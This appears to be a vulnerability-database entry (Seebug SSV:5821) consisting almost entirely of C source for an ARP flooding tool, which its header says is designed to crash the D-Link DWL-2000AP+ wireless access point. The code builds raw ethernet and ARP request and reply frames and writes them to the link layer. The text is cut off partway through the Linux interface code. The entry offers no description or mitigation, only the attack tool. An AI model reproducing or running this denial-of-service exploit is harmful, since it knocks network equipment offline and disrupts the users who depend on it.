D-Link D-LINK DWL-2000AP+ wireless access point DoS

2006-12-13T00:00:00
ID SSV:5821
Type seebug
Reporter Root
Modified 2006-12-13T00:00:00

Description

No description provided by source.

                                        
                                            
                                                /* 

ARP FLOODER v0.1 - poplix@papuasia.org  -  2006-12-04 
designed to crash D-LINK DWL-2000AP+

compile with: gcc arpflood.c -o arpflood


*/



#define _BSD_SOURCE 1
#define _GNU_SOURCE

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdarg.h>
#include <fcntl.h>
#include <errno.h>


#include <sys/ioctl.h>
#include <sys/param.h>//param.h defines BSD in bsd systems 
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/sysctl.h>

#include <net/if.h>
#include <net/if_arp.h>
#include <net/route.h>

#ifdef BSD
#include <net/if_dl.h>
 #include <net/bpf.h>
#endif


#include <arpa/inet.h>
#include <netinet/in.h>
#include <netinet/if_ether.h>
#include <netinet/in_systm.h>
#include <ifaddrs.h>



#ifdef BSD
#include <unistd.h>
#include <net/if_types.h>
#endif


#ifdef __linux__
#include <net/if_arp.h>
#include <linux/if_packet.h>
#endif

#ifndef DLT_EN10MB
#define DLT_EN10MB	1
#endif

#ifndef DLT_LOOP
#define DLT_LOOP	10
#endif

#ifndef DLT_PPP
#define DLT_PPP		9
#endif

#define ETHADDR_SIZE 6
#define ETHHDR_SIZE 14
#define ETHTYPE_IP 0x0800
#define ETHERTYPE_ARP 0x0806





#define SMALLOC(x,y){x=(y*)malloc(sizeof(y));\
						if( x == NULL){printf("malloc out of memory");\
						exit(9);}\
					}



#define CALLOC(x,y,z){ x=(y*)calloc(z,sizeof(y));if(x==NULL){\
	printf("calloc out of memory\n");\
	exit(9);}}

#define SSTRNCPY(dst,src,len){strncpy(dst,src,len-1); dst[len-1]=0;}
#define SSTRNCAT(dst,src,len)strncat(dst,src, len - strlen(dst) - 1);





#define ETHARP_PKT_SIZE 42 // eth + arpfixedsize + addresses size


#define FTYPE_REQ 1
#define FTYPE_REPLY 2




struct intf{
	char name[12];
	u_int index;
	int fd;
	u_int mtu;
	u_int type;
	
	u_int32_t ipaddr;
	u_int32_t netmask;
	
	u_char  l2addr[6];
	u_int	l2addr_size;
	u_int	l2hdr_size;
	
};




struct intf out_intf;




u_int ip_to_int(char *ip, int *err){
  char *inv,*s;
  u_char ret[4];
  int a;
  u_int tmp;
	
	if(ip == NULL || strlen(ip) < 7) return 0;
	s=ip;
	for( a=0; a < 4; a++){
  		tmp=strtoul(s,&inv,10);
  		if( (*inv != '.' && *inv!=0) || tmp < 0 || tmp > 255 ) {
  			if(err != NULL)*err=1;
  			return 0;
  		}
  		ret[a]=tmp;
  		s=++inv;
	}
	
	if(err != NULL)*err=0;
	return *((u_int*)ret);

}


int str_to_macaddr(char *str, u_char *dst){
  char *inv,*s;
  int a;
  u_int tmp;
	
	if(str == NULL || strlen(str) < 11) return 0;
	s=str;
	for( a=0; a < 6; a++){
  		tmp=strtoul(s,&inv,16);
  		if( (*inv != ':' && *inv!=0) || tmp < 0x00 || tmp > 0xff ) 
  			return 0;
  		
  		dst[a]=tmp;
  		s=++inv;
	}
	
	
	return 1;

}



char *int_to_ip(u_int32_t ip){
	u_char *tmp=(u_char *)&ip;
	static char ret[16];
	memset(ret,0,sizeof(ret));
	sprintf(ret,"%u.%u.%u.%u",tmp[0] & 0xff,tmp[1] & 0xff,tmp[2] & 0xff,tmp[3] & 0xff);
	return ret;
	
}


char *macaddr_to_str(u_char *mac){
	static char ret[18];
	memset(ret,0,sizeof(ret));
	sprintf(ret,"%02x:%02x:%02x:%02x:%02x:%02x",mac[0],mac[1],mac[2],mac[3],mac[4],mac[5]);
	return ret;
	
}








int build_ether_hdr(u_char *dst, u_char* src,u_short type,u_char* dstbuff){
  memcpy(dstbuff,dst,ETHADDR_SIZE);
  memcpy(dstbuff+6,src,ETHADDR_SIZE);
  
  *( (u_short*)(dstbuff+12) ) = htons(type);
  
  return 1;
	
}




int build_arp_hdr(u_char *hdst,u_int32_t pdst,u_char* hsrc,u_int32_t psrc,u_short arpop,u_char* dstbuff){
  struct arphdr* hdr= (struct arphdr*)dstbuff;
  u_int off;
  
	hdr->ar_hrd=htons(ARPHRD_ETHER);
  	hdr->ar_pro=htons(ETHTYPE_IP);
  	hdr->ar_hln=ETHADDR_SIZE;
  	hdr->ar_pln=4;
  	hdr->ar_op=htons(arpop);
  	
  	off=8;
  	
  	memcpy(dstbuff + off,hsrc,ETHADDR_SIZE);
	off+=ETHADDR_SIZE;
	
	memcpy(dstbuff + off,(u_char*)&psrc,4);
	off+=4,
	
  	memcpy(dstbuff + off,hdst,ETHADDR_SIZE);
  	off+=ETHADDR_SIZE;
  	
	memcpy(dstbuff + off,(u_char*)&pdst,4);
  	
  	return 1;
}



int arp_request(u_int32_t ripaddr,u_int32_t ipsrc,u_char *macsrc){
  u_char arpbuff[ETHARP_PKT_SIZE]; 

	if(macsrc==NULL)macsrc=out_intf.l2addr;
	if(ipsrc==0)ipsrc=out_intf.ipaddr;
	build_ether_hdr((u_char*)"\xff\xff\xff\xff\xff\xff",macsrc,ETHERTYPE_ARP,arpbuff);
	
	build_arp_hdr((u_char*)"\x0\x0\x0\x0\x0\x0",
					ripaddr,
					macsrc,
					ipsrc,
					ARPOP_REQUEST,
					arpbuff + ETHHDR_SIZE
					);
					
	write_link(&out_intf,arpbuff,sizeof(arpbuff));

	return 1;
}




int arp_reply(u_int32_t ipdst,u_char *dstmac,u_int32_t ipsrc,u_char *srcmac){
   u_char arpbuff[ETHHDR_SIZE + ETHARP_PKT_SIZE];
	
	if(srcmac==NULL)srcmac=out_intf.l2addr;
	
	build_ether_hdr(dstmac, srcmac, ETHERTYPE_ARP, arpbuff);
	build_arp_hdr(dstmac, ipdst, srcmac, ipsrc, ARPOP_REPLY, arpbuff+ETHHDR_SIZE);
	write_link(&out_intf,arpbuff,sizeof(arpbuff));

	return 1;
}




#ifdef BSD

int getifinfo(char *name,struct intf *iface){
   struct ifaddrs *ifap, *ifa;
   int find=0;
	
   int mib[]={CTL_NET,AF_ROUTE,0,AF_LINK,NET_RT_IFLIST,0};
   size_t len;
   u_char *buff, *next, *end;
   struct if_msghdr *ifm;
   struct sockaddr_dl *sdl;


	// get the list 
	if(getifaddrs(&ifap) < 0) return 0;
	
	if(!ifap) return 0; 
	//nota che ogni inf compare due volte in lista, una volta come AF_LINK e una AF_INET
	for(ifa = ifap; ifa; ifa = ifa->ifa_next)
	 if(!strcmp(name,ifa->ifa_name)){
	 	//copy only the first time
	 	if(find==0){
	 		memset(iface->name,0,sizeof(iface->name));
	 		SSTRNCPY(iface->name,name,sizeof(iface->name));
	 	}
	 	find=1;
		if(ifa->ifa_addr->sa_family == AF_LINK){
			iface->mtu=((struct if_data*)ifa->ifa_data)->ifi_mtu;
			
			switch(((struct if_data*)ifa->ifa_data)->ifi_type){
				case IFT_ETHER:
					iface->type=DLT_EN10MB;
					iface->l2hdr_size=ETHHDR_SIZE;
					break;
				case IFT_GIF:
				case IFT_LOOP:
					iface->type=DLT_LOOP;
					iface->l2hdr_size=0;
					break;
				case IFT_PPP:
					iface->type = DLT_PPP;
				default:
					freeifaddrs(ifap);
					return 0;
			}
			
		}
		if(ifa->ifa_addr->sa_family == AF_INET){
			iface->ipaddr  = (u_int32_t) ((struct sockaddr_in*)ifa->ifa_addr)->sin_addr.s_addr;
			iface->netmask = (u_int32_t) ((struct sockaddr_in*)ifa->ifa_netmask)->sin_addr.s_addr;
		}
	  }
		
	freeifaddrs(ifap);
	
	//get hardware address
	if (sysctl(mib, ETHADDR_SIZE, NULL, &len, NULL, 0) == -1){
		printf("getting hardware address\n");
		exit(1);
	}

    CALLOC(buff,u_char,len);
    if (sysctl(mib, ETHADDR_SIZE, buff, &len, NULL, 0) < 0){
        free(buff);
        printf("getting hardware address\n");
        exit(1);
    }
    end = buff + len;

    for (next = buff ; next < end ; next += ifm->ifm_msglen){
        ifm = (struct if_msghdr *)next;
        if (ifm->ifm_type == RTM_IFINFO){
            sdl = (struct sockaddr_dl *)(ifm + 1);
            if (strncmp(&sdl->sdl_data[0], iface->name, sdl->sdl_nlen) == 0){
                memcpy(iface->l2addr,LLADDR(sdl),ETHADDR_SIZE);
                break;
            }
        }
    }
    free(buff);

	iface->index=0; // dont care
	
	return find;
	

 }
 
 
//int wrink(u_int fd,u_char *frame, u_int size){
int write_link(struct intf *iface,u_char *frame, u_int size){
    int c;
	
    if (iface->fd < 0){
    	printf("%s\n","bpf error");
    	exit(2);
    }
    c = write(iface->fd, frame, size);
    
    if (c != size){
    	printf("error writing to bpf,, written:%d bytes\n",c);
    	exit(3);
    }

    return (c);
}


int open_link(char* ifname){
   int i, fd;
   char devname[12];
   struct ifreq ifr;
    
    for (i=0; i<100; i++){
        sprintf(devname, "/dev/bpf%u", i);
        fd = open(devname, O_RDWR);
        if (fd == -1 && errno == EBUSY)
            continue;
        else
        	break;
    }

    if (fd == -1){
        printf("unable to open bpf\n");
        exit(4);
    }

    
	SSTRNCPY(ifr.ifr_name, ifname, sizeof(ifr.ifr_name));
    
    if (ioctl(fd, BIOCSETIF, (caddr_t)&ifr) == -1){
       printf("attaching interface to bpf\n");
       exit(4);
    }
    
    
    return (fd);
}

 
#endif
//end of BSD code



#ifdef __linux__
 //fetifinfo sets:ifname, mtu, link-type,layer4 address,layer4 netmask, 
 
int getifinfo(char *name,struct intf *iface){
   int fd,find=0;
   struct ifconf   ifc;
   struct ifreq    ibuf[16], ifr, *ifrp, *ifend;
   struct sockaddr_in sa;
        
	
	
	
	if ( (fd = socket(AF_INET, SOCK_DGRAM, 0)) == -1) return 0;
	
	memset(ibuf, 0, sizeof(struct ifreq)*16);
	ifc.ifc_len = sizeof(ibuf);
	ifc.ifc_buf = (caddr_t) ibuf;
	
	/* gets interfaces list */
	if ( ioctl(fd, SIOCGIFCONF, (char*)&ifc) == -1 ||
		 ifc.ifc_len < sizeof(struct ifreq)         ) 
		 	goto bad;
	
	/* ifrp points to buffer and ifend points to buffer's end */
	ifrp = ibuf;
	ifend = (struct ifreq*) ((char*)ibuf + ifc.ifc_len);
	
	for (; ifrp < ifend; ifrp++) {
		if(strcmp(ifrp->ifr_name,name))continue;
		find=1;
		SSTRNCPY(ifr.ifr_name, ifrp->ifr_name, sizeof(